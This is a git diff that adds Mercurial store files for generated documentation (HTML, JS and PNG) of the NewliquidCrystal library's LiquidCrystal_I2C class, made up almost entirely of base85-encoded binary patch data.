zC%>IWZwjtOg^1tA9dF*6I9ea&OR)rt%D`CQfE$IL#omF&*TjZQUr&qA0y_ovHq)kz z?(JU7C4BxyUz#}#v68(u@k*iy7~@YNY*$12MuV>Hdl;R-6jAfGJj{7LaNrO>cgm|5ydg=?QFdF1b?$gKq4dCI(&) zhzX#m40#Cby=A#yUs`IjRK6?lQXVO`SoZ8ORHY_=$hWgCa*-Qbx9ff)JIp@Qt(O?3 zKbV--P0Y13Vvf{Qoib=p5LxOe`)mHm&YOd7GIwo%B2P{ELvR})%bmjj={=&d*5Fp^ z!ARdSS2dg1HCqcR+f=Ig9O7GZl9@UII{Vd?ZvI=jtnZIVLrp#28V$Wkvt*4CY6h`c zMMh%OavrC(hZgA zMCJm5Eg=Y@fT9F=nwa>HvCk_6+qO>YrF>)53!4($yvPOcOhHUB)M|NQEL?~y9!WgWAtrK+`6Wd>sgWgQkFO`l(Kwzrf_-9FLW@9e zp!=;ExNE&4uKt_a#_OW z=F#G13AZaN#Da$@KLuzb#+R>4#Yvb}fm%;`B)KudeYUv1P4j%aw>j%@_gK1X^!w{2 z?}fNqj#5{Xx{oHGP4XSxoO`o&9zBU6V%1RQt=~xj$3J|$*=>0eI45t_Wwz#4U$n467GPrtrLmmE@9a^;>0ibz*rEZma2_4ZatM*I>0};ZDFCOauqUwFK;( zMf#9R^ThGIxf$_1_sYU7R-|n4CfP01MxJkD9Va`>hU0J6Mlq`+I#A-E5f*{rKvkHIT_i?N7r$Z( zD0(OK7nPbHM?_gwn*DoRKPlpGWF=1knkZ-hJ_G5ctH>mO-A^1@g|b&6q$j4oKp=^a zfkiD-8Xe6Nm(GAS@o&V}&qMOX#BJ(q9XwU)lATJ1$CvUmD!j2g6uc2Rg-)~!#jUr~ z-ki25^dD0o_PCtYgSHHDGeTRn^+<@?qxEd?>|ZMg`XXdkqGG>XuC28H(X4LEHll0F z3f4&_k)bIB=9n(5;#46$>PgoNArq=bd9`jOGB58CRAjJvJl_sP$2UGMfw8QOM?7cj zS?k4DMN5(7*%s^$%gV&T^c_YD?P_PI_ait0PKz%Itv3w041Vum1ip`E4}IiOz2IB} zWB*7q5$3iPE92$%v~pu-=C71xu}>duH#6T{e+tUy|A$PloIChD`f8@P^GE87pI4Xf zMn#_l8)iP?o)3Omp16IOJRWBNc>3CH7bD6$wPNEyjqSG{^>bkd2lz`%;fSG8 z4x&;93h3kG2&Vt^_xGp0hl8Zs(Lpq44*zroX=e|`f7o8uhOV533tjZZj7U7ZV%IUE z>iROt*q!Fv*P6mXol>$Q2Rpu4BDSSWEi79nKJ6DyCgjtq0^<_ueb{Il#B@q$OhZ|pMWjN>+6#NDz&Zd%gb+pjU~TE4BL>h2pxTmtD6alMm7 zg|@gSN=50?6UmpfRVP;)_J;-^b6G#Z67UNyyO~f4Zfa>%C*z$0y(N3<{Q!AX=)>Wn F{|6Q#ec%89 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..8d9f7272ab53b73e541bcb3a8f9b2975d8513031 GIT binary patch literal 9729 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c.js.i new file mode 100644 index 0000000000000000000000000000000000000000..f9cb5d8f0921d9dfbea5835fa5d03e7368204aa4 GIT binary patch literal 415 zcmZQzWME_f1IBm;1{Qe;n_=sJC{UPiFDS|P(jJrWj17XU?=;>@9@zj@1EwnGtexbW zEn~>j_Wrka+gno+?|&0~PcF3-tvX@b;<#x^%8QhRGkq2R+xcnO>LxCH-Oa!4zI)vg z`#&~cr*6-Un|@!v``q83rPiOU&VOzyp1-cVe0S!W-I@PCKR$H!{%84$&HHD4o4@Dp zuZo(e{RZD8pVjFZBu4qaTx<>)7I>&=h3zt@*mR@lrtUcj*O zaQ%vi1rlBxlQ@&lZq0o9%kuHJ7~hOHTPrHp%X&@rQ1$9?j#%sG_%E^S`~7 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c.png.i new file mode 100644 index 0000000000000000000000000000000000000000..76c212631ee9e319eef4ff386fc8a2c620a8e47d GIT binary patch literal 1126 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 